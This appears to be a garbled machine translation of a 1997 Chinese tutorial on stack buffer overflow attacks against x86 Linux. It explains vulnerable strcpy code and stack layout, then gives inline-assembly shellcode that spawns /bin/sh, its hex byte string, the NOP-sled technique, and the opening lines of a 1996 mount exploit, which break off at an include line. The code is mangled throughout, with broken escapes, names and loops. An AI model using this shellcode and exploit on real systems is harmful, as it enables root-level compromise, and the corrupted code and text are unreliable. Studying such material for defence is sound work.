The content of this article is for educational purposes. The author does not guarantee the correctness of the content. In any case, the author is not responsible for any damage or problems caused by the content of the text. The risk of using this article is borne by the user. Computer application studio 1997 reviews ############################################################################################################################################################################################################################################################################################### Buffer overflow mechanism analysis ################################################################################################################################################################################################################################################################################################## # Only 1997.7.19 Only.bbs@bbs.sjtu.edu.cn 1. What is the buffer overflow? ~~~~~~~~~~~~~~~~~~~ Buffer overflow, bufferrun, smash The Stack, Trash The Stack, Scribble The Stack, Mangle The Stack, Spam, Alias Bug, Fandango on Core, Memory Leak, Precedency Lossage, Overrun Screw ... refers to a means of system attacks, cushioning The zone is written out of its length, causing overflow of the buffer to destroy the stack of the program, so that the program will perform other instructions to achieve the purpose of attack. According to statistics, attacks that overflow over the buffer accounted for more than 80% of the total number of attacks in all systems. The reason for causing buffer overflow is that the parameters that the user input is not carefully checked in the program. For example, the following procedure: example1.c ------------------------------------------- --------------------------- void function (char * str) {charffer [16]; strcpy (buffer, str); -------------------------------------------------- ------------------- Strcpy () will directly click on the contents of the STR COPY to BUFFER. As long as the length of the STR is greater than 16, it will cause the buffer overflow to run an error. There is also strcat (), sprintf (), vsprintf (), gets (), scanf (), etc., and getC (), fgetc (), getChar (), and so on. Of course, it is necessary to fill things in the buffer to cause it to overflow generally only Segmentation Fault errors, and the purpose of attack cannot be achieved. The most common means is to make the program run a user shell by manufacturing a buffer overflow, and perform other commands via the shell. If the program belongs to root and has SuID permissions, an attacker gets a shell with root privileges that can operate anything. Note that if there is no specification, the following content assumes that the platform used by the user is a Linux system based on Intel X86 CPU. For other platforms, the concepts of this article are equally applicable, but the program must be modified accordingly. 2. Manufacturing buffer overflow ~~~~~~~~~~~~~~~~ A program is usually divided into blocks, data and stacks. The machine code and read data of the program are placed in the block. Data segments are placed in static data in the program. Dynamic data is stored by stacks.
In memory, their location is: -------------- memory low-end | block | | ------------- ----- | | Data Section | | ------------------ | | Stack | ------------------------------------------------------------------------------------------------------------------ - Memory high-end When a function call occurs in the program, the computer is doing the following: first press the parameter into the stack; then save the content in the command register (IP) as the return address (RET); third place in the stack It is the base register (FP); then copy the current stack pointer (SP) to the FP, as a new base address; finally the local variable leaves a certain space, minus the SP minus the appropriate value. The following procedures are examples: Example2.c ----------------------------------------- ----------------------------- void function (char * str) {charffer [16]; strcpy (buffer, str); } void main () {char limited [256]; int i; for (i = 0; i <255; i ) large_string [i] = 'a'; function (large_string);} -------- -------------------------------------------------- ------------ When the modulation function function (), the stack is as follows: Low internal buffer sfp return * STR high internal storage end <------ [] [] [] [] stack The top stack is not used, the result of the program execution is "Segmentation Fault (Core Dumped" or similar error information. Because 256 bytes starting from Buffer will be overwritten by * STR 'a', including SFP, RET, and even * STR. The hex value of 'a' is 0x41, so the return address of the function becomes 0x41414141, which exceeds the address space of the program, so the paragraph error. 3. Overflow through the buffer to get the user shell ~~~~~~~~~~~~~~~~~~~ If you write we want to perform in the spilled buffer The code, override the contents of the return address (RET), to point to the beginning of the buffer, can achieve the purpose of running other instructions. Low internal memory buffer sfp return * STR high internal storage <------ [] [] [] [] stack top ^ | Stack | ________________________ | usually, we want to run a user shell.
Below is a very beautiful shell code eXample3.c ------------------------------------- --------------------------------- void main () {__ASM __ ("JMP 0x1f # 2 bytes popl% ESI # 1 byte movl% ESI, 0x8 (% ESI) # 3 bytes xorl% Eax,% eax # 2 bytes MOVB% EAX, 0x7 (% ESI) # 3 bytes MOVL% Eax, 0xc (% ESI) # 3 BYtes Movb $ 0xB ,% Al # 2 Bytes Movl% ESI,% EBX # 2 bytes Leal 0x8 (% ESI),% ECX # 3 BYTES LEAL 0XC (% ESI),% EDX # 3 BYTES INT $ 0x80 # 2 bytes XORL% EBX,% EBX # 2 bytes MOVL% EBX,% EAX # 2 bytes inc% eax # 1 bytes int $ 0x80 # 2 bytes call -0x24 # 5 bytes .string / "/ bin / sh /" # 8 bytes # 46 bytes Total ") } --------------------------------------------------------------------------------------------- ---------------------- The above program is indicated by the machine code to get the following hex SHELL code string. Example4.c ----------------------------------------------- ----------------------- Char shellcode [] = "/ x1b / x1f / x5e / x89 / x76 / x08 / x31 / xc0 / x88 / x46 / X07 / x89 / x46 / x0c / xb0 / x0b "" / x89 / x8d / x56 / x0c / xcd / x80 / x31 / xdb / x89 / xd8 / x40 / xcd "" / x80 / XE8 / XDC / XFF / XFF / XFF / BIN / SH "; char Large_string [128]; void main () {charffer [96]; int i; long * long_ptr = (long *) large_string; for (i = 0 i <32; i ) * (long_ptr i) = (int) buffer; for (i = 0; i But such blind guess may have hundreds of thousands of times, actually unrealistic. The solution is to use the empty directive NOP. Place a long string in front of the shell code, the return address can point to any location in this NOP, and the program will activate the shell process after executing the NOP instruction. This greatly increases the possibility of guess. Low Non-Imount Buffer SFP RET * STR High NNNNNSSSSSSSSSSSSSSS] [] [] [] [] [] [] [] 顶 顶 ^ | Stack | _______________________________ | Figure, N represents NOP, S represents the shell. Here is an instance of a buffer overflow attack, which uses the vulnerability of the system program Mount: eXample5.c ---------------------------- ----------------------------------------- / * mount exploit for linux, jul 30 1996 Discovered and Coded by Bloodmask & Vio Covin Security 1996 * / #include